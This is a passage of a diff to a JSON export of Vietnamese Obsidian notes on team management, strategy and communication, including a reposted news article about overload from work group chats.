nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: [[Trực giác]]\n[[Trực giác là việc nhìn ra mẫu hình không hơn không kém]]\nNguồn:: [[Y Combinator]], ![Lecture 3 - Before the Startup (Paul Graham) - YouTube](https://www.youtube.com/watch?v=ii1jcLg-eIQ)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:43:00.000Z", - "id": "Lw" + "Ngày cập nhật": "2023-11-17T15:31:00.000Z", + "id": "M8" }, { - "Tiêu đề": "Tiền", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Kinh tế/Tiền", + "Tiêu đề": "Gốc của thương hiệu là văn hoá doanh nghiệp", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Gốc của thương hiệu là văn hoá doanh nghiệp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: [[Văn hoá]]\n\n[[Thứ quyết định hiệu quả của việc kinh doanh là văn hoá doanh nghiệp và phản ứng của thị trường về mình]]\nNguồn:: [[ABG Open Special 2023]], Võ Trí Thành\n\n[[Văn hoá tổ chức là những giá trị, niềm tin và hành động của mỗi thành viên giúp đóng góp cho sứ mạng của nó]]\n[[Văn hoá là một tập hợp các văn bản]]. [[Văn hoá có liên quan chặt chẽ đến biểu tượng]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:43:00.000Z", - "id": "Lx" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "M9" }, { - "Tiêu đề": "Đầu tư", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Kinh tế/Đầu tư", + "Tiêu đề": "Không nên có quá 20 nhân sự khi chưa có sản phẩm phù hợp thị trường", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Không nên có quá 20 nhân sự khi chưa có sản phẩm phù hợp thị trường", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: \nNhiều người thì không tối ưu cho việc tìm sản phẩm phù hợp thị trường. Hơn nữa, khi số lượng thành viên lớn thì cấu trúc không thể nào phẳng được nữa mà phải bắt đầu phân cấp. Mà như vậy thì sẽ đánh mất lợi thế linh hoạt so với các tổ chức đã có sự phân cấp rồi\n\nNguồn:: [[Y Combinator]], ![David Rusenko - How To Find Product Market Fit - YouTube](https://youtu.be/0LNQxT9LvM0?si=2B_RaGTRgSlgpB4J&t=2140)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:43:00.000Z", - "id": "Ly" + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "MA" }, { - "Tiêu đề": "Bản đồ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Công cụ nghĩ/Bản đồ", + "Tiêu đề": "Bội thực chat nhóm gây phân tán nguồn lực, mất tập trung, tăng rủi ro lộ dữ liệu", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Kênh liên lạc/Bội thực chat nhóm gây phân tán nguồn lực, mất tập trung, tăng rủi ro lộ dữ liệu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", + "Toàn bộ nội dung": "Hơn 11 giờ đêm, màn hình điện thoại của Hồng Vy vẫn sáng bởi thông báo từ gần 20 nhóm chat công việc và trò chuyện cá nhân đang đổ về.\r\n\r\nVới Vy, nhân viên sáng tạo nội dung cho một công ty quảng cáo ở quận 3, TP HCM, việc nhận tin nhắn công việc hay tán gẫu trong nhóm chat lúc nửa đêm đã là một phần tất yếu của cuộc sống suốt bốn năm nay. Nhiều khi \"phát sợ khi thấy có tin nhắn\" nhưng cô gái 28 tuổi vẫn phải mở điện thoại và đọc toàn bộ cuộc trò chuyện vì sợ bỏ lỡ tin quan trọng.\r\n\r\nTin nhắn từ các ứng dụng chat hay mạng xã hội đi theo Vy suốt cả ngày. \"Không ít lần tôi mất nguyên buổi sáng chỉ để đọc và trả lời chat\", cô nói. Lúc đi máy bay, họp hành hay gặp gỡ đối tác cô phải tắt điện thoại, nhưng vừa mở máy kết nối mạng, tin nhắn đổ về cùng lúc quá nhiều khiến treo máy.\r\n\r\nTính chất công việc phải làm với nhiều bên, mỗi dự án cô phải tham gia khoảng 5 nhóm chat với đồng nghiệp, cấp trên và khách hàng qua Facebook Messenger và Zalo, ngoài ra còn Telegram, Viber, Skype. Càng nhiều dự án, số nhóm Vy phải tham gia càng tăng. Hiện cô quản lý 3 dự án với 15 nhóm công việc, chưa kể trò chuyện cá nhân.\r\n\r\nBáo cáo của một nền tảng mạng xã hội Việt Nam cho biết, trong quý I/2021 có 64 triệu người dùng với 1,7 tỷ tin nhắn được gửi đi mỗi ngày. Hồng Vy là một trong số đó và những người trong nhóm tuổi 18-35 như cô góp phần đưa Việt Nam trở thành cường quốc về số người dùng mạng xã hội và ứng dụng nhắn tin. Số liệu thống kê tính tới tháng 7/2022 của NapoleonCat (công cụ đo lường các chỉ số mạng xã hội), tổng số người dùng Facebook tại Việt Nam là gần 76 triệu. Trong số này, có 54 triệu thường xuyên dùng ứng dụng chat (Messenger), đứng thứ 5 thế giới sau các nước Ấn Độ, Brazil, Mexico và Philippines.\r\n\r\nNền tảng nhắn tin Viber công bố có hơn 30 triệu người dùng Việt. Telegram chưa có con số thống kê cụ thể, nhưng đang được coi là \"ngôi sao đang lên\" trong số các ứng dụng chat ở Việt Nam.\r\n\r\nNgoài việc phải ngụp lặn trong hàng chục nhóm chat công việc, chị Thanh Thúy, 35 tuổi, ở quận Hoàng Mai, Hà Nội là thành viên của 7 nhóm chat, gồm 4 nhóm giữa phụ huynh và giáo viên chủ nhiệm của hai con 10 tuổi và 4 tuổi, nhóm cư dân chung cư với ban quản lý, nhóm các hộ gia đình cùng tầng và hội bạn thân...\r\n\r\nKhông thể tắt thông báo hay rời nhóm vì mắc hội chứng FOMO (Fear Of Missing Out – hội chứng sợ bỏ lỡ), chị Thúy tranh thủ giờ nghỉ để đọc toàn bộ tin nhắn. \"Biết đâu trong cuộc hội thoại kia có thông tin liên quan đến tôi. Tôi không muốn bản thân đứng bên ngoài câu chuyện, nhưng không hy vọng mất cả ngày để đọc tin nhắn\", chị kể.\r\n\r\n ![Nhiều nhân viên văn phòng than phiền khi mất nhiều thời gian trả lời các nhóm chat, không thể tập trung làm việc. Ảnh minh họa](https://i1-giadinh.vnecdn.net/2022/08/04/901c35715ae898b6c1f9-5872-1659630652.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=afiaCQDdNXjlJkJHvV0TlA)\r\n\r\nNhiều người than phiền mất thời gian đọc và trả lời các nhóm chat, không thể tập trung làm việc, gây ảnh hưởng đến cuộc sống. Ảnh minh họa: _M.P_\r\n\r\nSố người bị bội thực trong các nhóm chat như Hồng Vy hay Thanh Thúy không ít. PGS.TS Nguyễn Đức Lộc, Viện trưởng Viện Social Life cho biết, sự ra đời của các nhóm chat phục vụ công việc, giải trí là điều đương nhiên, nhất là khi công nghệ thông tin và các ứng dụng mạng xã hội phát triển mạnh.\r\n\r\nKhông phủ nhận tiện ích và chi phí thấp của công cụ chat, nhưng chuyên gia cảnh báo có không ít mặt trái của hiện tượng này như lạm dụng dẫn đến mất nhiều thời gian; ranh giới giữa công việc và đời sống cá nhân bị xóa nhòa; rủi ro lộ thông tin; tâm lý lo sợ bị cô lập trong tập thể; hoặc là một trong những yếu tố ảnh hưởng đến hạnh phúc gia đình.\r\n\r\nHồng Vy thừa nhận, nhiều ngày vì mất quá nhiều thời gian trả lời tin nhắn, gồm cả những nội dung không liên quan đến công việc khiến cô phải làm thêm ngoài giờ để giải quyết các đầu việc chính như lên ý tưởng mới, làm kế hoạch hoặc gửi email cho đối tác.\r\n\r\nNgoài mất thời gian, cô gái 28 tuổi nhận thấy ranh giới giữa công việc và đời sống cá nhân bị đe dọa bởi chat. \"Có lẽ vì quá tiện nên mỗi khi online, sếp lầm tưởng tôi đều sẵn sàng nhận việc, bất kể giờ giấc\", Vy nói. Đặc biệt định kiến nhân viên nhận tin nhắn nhưng không đọc hoặc không trả lời ngay bị cho là thiếu chuyên nghiệp, coi thường sếp, càng khiến cô căng thẳng khi nhận việc sau giờ làm. \"Đó là lý do tôi lúc nào cũng có cảm giác ngập trong công việc và ám ảnh mỗi khi thấy có tin nhắn\", cô kể.\r\n\r\nChính Justin Santamaria, cựu kỹ sư của Apple, cha đẻ của ứng dụng nhắn tin iMessage từng nhắc đến hiện tượng này trên tờ _Wired.com._ Ông nhận xét, sự phổ biến của các công cụ chat khiến mọi người trở nên bất lịch sự hơn. \"Ban đầu, người ta còn cẩn thận mở đầu bằng cụm từ 'Không gấp, trả lời khi nào bạn có thể' hay khi nhấc máy gọi điện, người gọi thường hỏi: Bạn có rảnh không?, với môi trường chat, chúng ta chỉ gửi tin mà không cần suy nghĩ\", Justin phát biểu.\r\n\r\nVới Thanh Thúy, chú tâm vào các nhóm chat khiến chị thường xuyên đón con muộn, để nhà cửa bừa bộn và làm cháy đồ ăn. Điều này khiến chồng chị khó chịu, thậm chí nghi ngờ vợ không chung thủy khi nhắn tin từ sáng đến đêm, bỏ bê gia đình. \"Vợ chồng tôi liên tục cãi vã, không muốn nói chuyện và từng có ý định ly hôn vì điều này\", chị bộc bạch.\r\n\r\nTrái ngược với một số người bị bội thực tin nhắn, Trang Hà, 27 tuổi, ở quận Hoàn Kiếm (Hà Nội) luôn khao khát được đồng nghiệp thêm vào các nhóm trò chuyện bí mật ở công ty, tránh cảm giác bị cô lập. \"Tôi biết nhiều đồng nghiệp trong phòng có nhóm chat riêng và chỉ chia sẻ các thông tin mật. Thi thoảng một vài người đột nhiên nhìn nhau cười hay chẳng may nhắn nhầm nhóm. Mọi thông tin tôi luôn là người biết cuối cùng\", cô thở dài.\r\n\r\nĐể tránh cảm giác bất an, sợ hãi, lo sợ bản thân bị nói xấu trong nhóm chat, cô gái 27 tuổi cố lấy lòng đồng nghiệp. \"Họ nhờ gì tôi cũng giúp. Khi có lòng tin, tôi sẽ được thêm vào các nhóm chat, tránh cảm giác mình là người ngoài cuộc\", nữ nhân viên bộc bạch.\r\n\r\nNhưng tham gia nhiều nhóm chat cùng lúc, dễ khiến người dùng gặp sự cố lộ thông tin mật. Gia Bảo, 30 tuổi, quận 1 (TP HCM) từng gửi nhầm bản thiết kế website vào nhóm đồng nghiệp cũ và bị ăn cắp ý tưởng. Không thể chứng minh được sản phẩm của bản thân khi đồng nghiệp cũ nhanh tay gửi bản kế hoạch và được phê duyệt, Bảo buộc phải cấp tốc nghĩ ra phương án thay thế.\r\n\r\n\"Nếu gửi bằng email có độ bảo mật cao, cần nhiều thao tác kiểm tra thông tin, có lẽ tôi đã không mắc sai lầm. Chat nhóm hiện đại, tiện dụng vẫn những nhược điểm\", anh nói.\r\n\r\nTuy nhiên, sự phát triển của công nghệ thông tin và các ứng dụng online chat không phải là nguyên nhân khiến người dùng bị bội thực thông tin. \"Ngược lại, chúng có thể làm tốt chức năng truyền tải thông tin, hỗ trợ cuộc sống nếu sử dụng đúng cách\", chuyên gia văn hóa Nguyễn Hùng Vĩ nhận định.\r\n\r\nTheo ông Vĩ, hai năm dịch bệnh khiến chat nhóm bùng nổ và trở nên hữu ích, khi giải quyết công việc từ xa. \"Nhưng khi kết thúc công việc cần xóa bỏ, khuyến khích các thành viên tự rời đi hoặc lập các quy tắc chia sẻ thông tin nếu muốn duy trì nhóm\", ông Vĩ nói và cho rằng thay vì đổ lỗi cho công nghệ, mỗi người phải tự điều chỉnh, tránh gây ảnh hưởng đến hiệu suất làm việc và chất lượng cuộc sống.\r\n\r\nGia Hân, 28 tuổi, quận Thanh Xuân (Hà Nội), trưởng phòng phát triển sản phẩm, được thêm vào hơn 20 nhóm chat nhưng cô chưa từng bị bội thực tin nhắn, khi chủ động phân rõ cấp độ phản hồi theo thứ tự: rất quan trọng, quan trọng và thông thường.\r\n\r\nNhóm quan trọng luôn được bật thông báo. Các nhóm trò chuyện với bạn bè, đồng nghiệp ngoài công việc thường bị ẩn hoặc chuyển sang chế độ tắt. \"Việc phân nhóm giúp tôi không bị khủng bố tin nhắn, tránh được các cuộc nói chuyện phiếm trong giờ làm. Công việc được giải quyết nhanh, nâng cao hiệu suất làm việc, người lao động không phải tăng ca hoặc làm đêm\", nữ quản lý bày tỏ.\r\n\r\nTheo PGS.TS Nguyễn Đức Lộc, một số doanh nghiệp đã nhận thấy sự bất cập khi nhân viên sử dụng nhiều nhóm chat trong giờ làm. Chúng không chỉ gây phân tán nguồn lực, mất tập trung, thậm chí nhiều nơi lo ngại rủi ro lộ dữ liệu, buộc họ đưa ra các giải pháp như cài đặt hệ thống mạng Internet nội bộ để quản lý nhân viên hoặc ra quy định cấm dùng Facebook, Zalo trong thời gian làm việc.\r\n\r\n\"Nhưng các biện pháp đưa ra chỉ là mô hình thiết chế cứng. Thay vào đó nhà quản lý có thể tạo ra những động lực làm việc tích cực tương ứng với giá trị thu lại, như quản lý bằng KPI hoặc lương trả theo sản phẩm. Người lao động được tự do, thoải mái nhưng vẫn đảm bảo công việc\", ông Lộc nói.\r\n\r\nCòn với Hồng Vy, cô đang tập thói quen tắt và không trả lời tin nhắn từ bạn bè, người thân trong giờ làm, từ chối nhận việc khi tan sở. Riêng nhóm công việc sẽ tự thoát, xóa khi kết thúc dự án. \"Tôi buộc phải đưa ra các biện pháp bảo vệ chính mình\", Vy tâm sự.\r\n\r\n**Quỳnh Nguyễn**\r\n\r\nNguồn:: [Bội thực chat nhóm](https://vnexpress.net/boi-thuc-chat-nhom-4500761.html)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-28T14:54:00.000Z", - "Ngày cập nhật": "2024-07-29T06:41:00.000Z", - "id": "Lz" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "MB" }, { - "Tiêu đề": "Cấu trúc", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Cấu trúc", + "Tiêu đề": "Có sự đánh đổi giữa quá tải thông tin và cập nhật thông tin kịp thời", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Kênh liên lạc/Có sự đánh đổi giữa quá tải thông tin và cập nhật thông tin kịp thời", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "[[Việc muốn các thành viên sử dụng Discord thay cho Facebook hay Zalo thường khó khăn]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:44:00.000Z", - "id": "L-" + "Ngày tạo": "2023-06-09T05:01:00.000Z", + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "MC" }, { - "Tiêu đề": "Diễn giải, đọc", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Diễn giải, đọc", + "Tiêu đề": "Việc muốn các thành viên sử dụng Discord thay cho Facebook hay Zalo thường khó khăn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Kênh liên lạc/Việc muốn các thành viên sử dụng Discord thay cho Facebook hay Zalo thường khó khăn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", + "Toàn bộ nội dung": "Nhưng điều đó khiến họ cảm thấy mình không làm tốt trong việc cập nhật thông tin\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-22T14:45:00.000Z", - "Ngày cập nhật": "2024-08-10T09:35:00.000Z", - "id": "L_" + "Ngày tạo": "2023-06-09T05:01:00.000Z", + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "MD" }, { - "Tiêu đề": "Gánh nặng nhận thức", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Gánh nặng nhận thức", + "Tiêu đề": "Người người vạch chiến lược hay nhiều khi được giao triển khai luôn, hoặc người làm chuyên môn tốt nhiều khi được đề bạt lên làm quản lý, lãnh đạo", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Phân cấp, quản lý/Người người vạch chiến lược hay nhiều khi được giao triển khai luôn, hoặc người làm chuyên môn tốt nhiều khi được đề bạt lên làm quản lý, lãnh đạo", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", + "Toàn bộ nội dung": "Trong khi tư duy cần dùng cho mỗi loại công việc này là khác nhau\n[[Công việc khai phá và công việc khai thác]]\n\n---\nNGHĨ VỀ CHIẾN LƯỢC VÀ THỰC THI \n \nSau nhiều năm đi làm, mình ngày càng cảm nhận rõ thế nào là \"Chiến lược\", thế nào là \"Thực thi\". Đột nhiên muốn viết ra 1 vài suy nghĩ của bản thân về chủ đề này. \n \nNói đến định nghĩa, kể cả đến khi 25,26 tuổi, mình vẫn không thực sự phân biệt được đâu là chiến lược, đâu là thực thi. Thường xuyên đóng vai trò chịu trách nhiệm cao nhất trong các dự án hay tổ chức, việc lên kế hoạch và triển khai với mình trở thành công việc hàng ngày, công việc nào cũng cần tính toán, phân tích, ra quyết định, làm việc với nhiều bên liên quan để thuyết phục, trình bày v.v \n \nMãi sau này, đến khi đi làm cho các doanh nghiệp lớn hơn, và bây giờ là tư vấn chiến lược và chuyển đổi số cho các doanh nghiệp khác nhau, mình mới cảm nhận rõ sự khác biệt giữa hai yếu tố này. \n \nCHIẾN LƯỢC QUAN TRỌNG HƠN HAY THỰC THI QUAN TRỌNG HƠN? \n \nĐiều này giống như hỏi là khi bạn rơi xuống nước: kỹ thuật bơi quan trọng hay thể lực quan trọng? Điều này phụ thuộc vào bạn rơi xuống bể bơi trong nhà hay rơi giữa biển đầy sóng gió. \n \nDoanh nghiệp càng lớn, càng cần cân bằng giữa hai yếu tố. Doanh nghiệp nhỏ, chiến lược tốt hoặc thực thi tốt có thể bù đắp cho phần còn lại. \n \nĐÒI HỎI NHỮNG KỸ NĂNG KHÁC BIỆT ĐỂ LÀM TỐT - VÀ CÓ LẼ LÀ CON NGƯỜI KHÁC BIỆT \n \nLãnh đạo là một vị trí rất khó, mất nhiều năm mình mới cảm nhận được rõ rệt điều này. Và kể từ đó, mình tập trung làm việc trong nhóm nhỏ, hoặc vai trò solo. Công việc cuối cùng đòi hỏi quản trị 1 nhóm trên 10 người của mình là ở MoMo, 18 tháng trước. \n \nCHIẾN LƯỢC \nThiết kế chiến lược đòi hỏi bạn phải biết cách xác định các loại thông tin cần thiết, sàng lọc thông tin, tìm ra các insight hữu dụng. Nó đòi hỏi bạn phải có hiểu biết về các framework, thinking model và sử dụng chúng 1 cách linh hoạt. Nó đòi hỏi bạn phải cân bằng giữa các dữ liệu thực tế, hiểu biết cá nhân, kinh nghiệm quá khứ lẫn các suy đoán tương lai. \nMột chiến lược tốt đòi hỏi khả năng phân tích, logic, xử lý đa biến, khả năng sáng tạo. Như kiểu chơi trò xếp hình vậy, bạn cần nhìn thấy mối liên hệ giữa hàng nghìn mảnh ghép lộn xộn. \n \nTHỰC THI \nThực thi lại đòi hỏi cân bằng giữa kỷ luật và sự linh hoạt. Bạn cần có khả năng quản lý thời gian, quản lý con người, quản lý các nguồn lực. Bạn cần hiểu bản chất của chiến lược, và đưa ra các quyết định cụ thể mỗi ngày, mỗi giờ, tùy vào tình hình thực tế. \n \nChiến lược sẽ không nói cho bạn biết hôm nay có bao nhiêu việc, phải làm chúng trong bao lâu, và đối xử ra sao nếu 1 thành viên trong nhóm trả lại kết quả không như ý. Chiến lược không nói cho bạn biết phải làm sao nếu nhân sự bạn cần đã không được tuyển kịp thời, và làm thế nào nếu có 1 đối tác \"lật kèo\". \n \n............ \n \nPhái DOer thường hay chê phái THINKer là \"Lý thuyết suông\", \"Chỉ nói là giỏi, làm thì như C*t\" \nPhải THINKer thường hay chê ngược lại là đội DOer là \"thiếu logic\" \"thiếu cơ sở\" \"không khoa học\" \"không nhất quán\" \n \n........... \nTốt đẹp nhất là những người có năng lực làm cả 2 việc, thứ nhì là có sự ăn ý giữa người \"chiến lược\" và người \"thực thi\". Ngược lại, khi người giỏi cái này buộc phải làm cái kia, danh tiếng người đó thường tổn hại, doanh nghiệp cũng thiệt hại. \n \nTiếc là nhiều người vạch chiến lược hay, nên mọi người cũng nghĩ là họ làm tốt, nên giao họ triển khai luôn. \nHoặc là, nhiều người làm chuyên môn tốt, thế là được đề bạt lên làm quản lý, lãnh đạo.\n\nNguồn:: [[Hoàng Đức Minh]], [NGHĨ VỀ CHIẾN LƯỢC VÀ THỰC THI](https://www.facebook.com/minh5e/posts/pfbid0tC3p2ECjrEcEp11mV2p1AHpFQD5NCKqaDG64vreBxUwDpfjGNNcc4pX1hD3KamXal)\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-28T14:54:00.000Z", - "Ngày cập nhật": "2024-08-28T06:49:00.000Z", - "id": "M0" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-26T16:44:00.000Z", + "id": "ME" }, { - "Tiêu đề": "Insight", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Insight", + "Tiêu đề": "Người vượt qua khủng hoảng có câu chuyện hấp dẫn hơn người tránh được khủng hoảng ngay từ đầu", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Phân cấp, quản lý/Người vượt qua khủng hoảng có câu chuyện hấp dẫn hơn người tránh được khủng hoảng ngay từ đầu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Điểm maauuus chốt", + "Toàn bộ nội dung": "Khái niệm:: \n\nAction bias: người \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-28T03:50:00.000Z", - "id": "M1" + "Ngày cập nhật": "2024-07-26T16:45:00.000Z", + "id": "MF" }, { - "Tiêu đề": "Không gian", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Không gian", + "Tiêu đề": "Vị trí càng cao trong tổ chức thì đề xuất càng dễ bị cấp dưới hiểu thành yêu cầu phải làm", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Phân cấp, quản lý/Vị trí càng cao trong tổ chức thì đề xuất càng dễ bị cấp dưới hiểu thành yêu cầu phải làm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: [[Nguyễn Đức Lộc]] \r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Bùi Quang Tinh Tú]], [Random note 1. Vị trí của càng cao... - Bui Quang Tinh Tu | Facebook](https://www.facebook.com/buiquangtinhtu/posts/pfbid02JPbKA3KJijQGdhZMijz4iyTjTM1ZXqEefpCAXjdBztL6hiw1xTKujnfRQUPqUPzjl)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-28T03:50:00.000Z", - "id": "M2" + "Ngày cập nhật": "2024-07-26T16:44:00.000Z", + "id": "MG" }, { - "Tiêu đề": "Lập luận", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Lập luận", + "Tiêu đề": "Sociocracy", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Sociocracy", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "[Sociocracy 3.0 | Effective Collaboration At Any Scale](https://sociocracy30.org/)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:41:00.000Z", - "id": "M3" + "Ngày tạo": "2023-06-11T11:11:00.000Z", + "Ngày cập nhật": "2024-09-02T17:40:00.000Z", + "id": "MH" }, { - "Tiêu đề": "Mental modal", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Mental modal", + "Tiêu đề": "Thảo luận có tính xây dựng là để tìm kiếm sự hiểu nhau, không phải để tìm kiếm sự đồng ý", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Thảo luận, ra quyết định/Thảo luận có tính xây dựng là để tìm kiếm sự hiểu nhau, không phải để tìm kiếm sự đồng ý", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: [[Thảo luận]]\n\nNguồn:: ![\"The Hard Parts of Open Source\" by Evan Czaplicki - YouTube](https://youtu.be/o_4EX4dPppA?si=Fv7DjInT7O_msWfz&t=668)\n\n[[Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian]] \nMâu thuẫn với:: [[Sự đơn giản ép ta phải làm nó cực kỳ tốt]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:44:00.000Z", - "id": "M4" + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "MI" }, { - "Tiêu đề": "Mẫu hình (pattern)", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Mẫu hình (pattern)", + "Tiêu đề": "Việc có quá nhiều ý kiến làm ta thấy loạn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Thảo luận, ra quyết định/Việc có quá nhiều ý kiến làm ta thấy loạn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm,[[]])\n```\n", + "Toàn bộ nội dung": "Nguồn::\r\nNhững người trợ giúp sẽ thấy mình thật rắc rối \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-10T14:57:00.000Z", - "Ngày cập nhật": "2024-06-23T17:30:00.000Z", - "id": "M5" + "Ngày tạo": "2023-06-14T06:35:00.000Z", + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "MJ" }, { - "Tiêu đề": 